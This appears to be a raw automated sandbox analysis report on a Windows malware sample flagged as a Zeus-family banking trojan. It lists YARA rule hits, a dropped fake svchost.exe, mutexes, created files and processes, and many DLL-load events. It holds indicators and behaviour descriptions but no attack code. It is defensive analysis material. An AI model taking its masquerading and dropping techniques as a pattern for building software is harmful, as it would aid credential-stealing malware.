Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6628, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 5128, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 2948, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3416, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3328, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3896, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6212, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1476, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04

Source: UMwpXhA46R.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: svchost.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.bank.troj.spyw.expl.evad.winEXE@13/61@2294/28

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00401C70 Sleep,memset,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,GetLastError,SwitchToThread,CreateToolhelp32Snapshot,GetHandleInformation,CloseHandle,Module32First,StrStrIA,Module32Next,StrStrIA,StrStrIA,Module32Next,

0_2_00401C70

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00402560 CoInitializeEx,GetModuleFileNameW,SysAllocString,SysAllocString,SysAllocString,CoCreateInstance,CoCreateInstance,CoCreateInstance,SysFreeString,SysFreeString,SysFreeString,CoUninitialize,

0_2_00402560

Source: C:\Windows\apppatch\svchost.exe

File created: C:\Program Files (x86)\Windows Defender\vonypom.com

Jump to behavior

Source: C:\Windows\apppatch\svchost.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[1].htm

Jump to behavior

Source: C:\Windows\apppatch\svchost.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3472
Source: C:\Windows\apppatch\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\80F500EBa
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3416
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3328
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6628
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2948
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1220
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5128
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3896
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6912
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2268

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

File created: C:\Users\user\AppData\Local\Temp\6D41.tmp

Jump to behavior

Source: UMwpXhA46R.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UMwpXhA46R.exe

ReversingLabs: Detection: 81%

Source: UMwpXhA46R.exe	String found in binary or memory: -help
Source: svchost.exe	String found in binary or memory: -help

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

File read: C:\Users\user\Desktop\UMwpXhA46R.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\UMwpXhA46R.exe "C:\Users\user\Desktop\UMwpXhA46R.exe"
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Process created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6912 -s 904
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1220 -s 884
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 980
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 2076
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6628 -s 968
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 1008
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 832
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 1008
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3328 -s 1244
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 908
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Process created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: inetcomm.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: vmhgfs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: inetcomm.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: vmhgfs.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: sensapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: symsrv.dll	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll	Jump to behavior
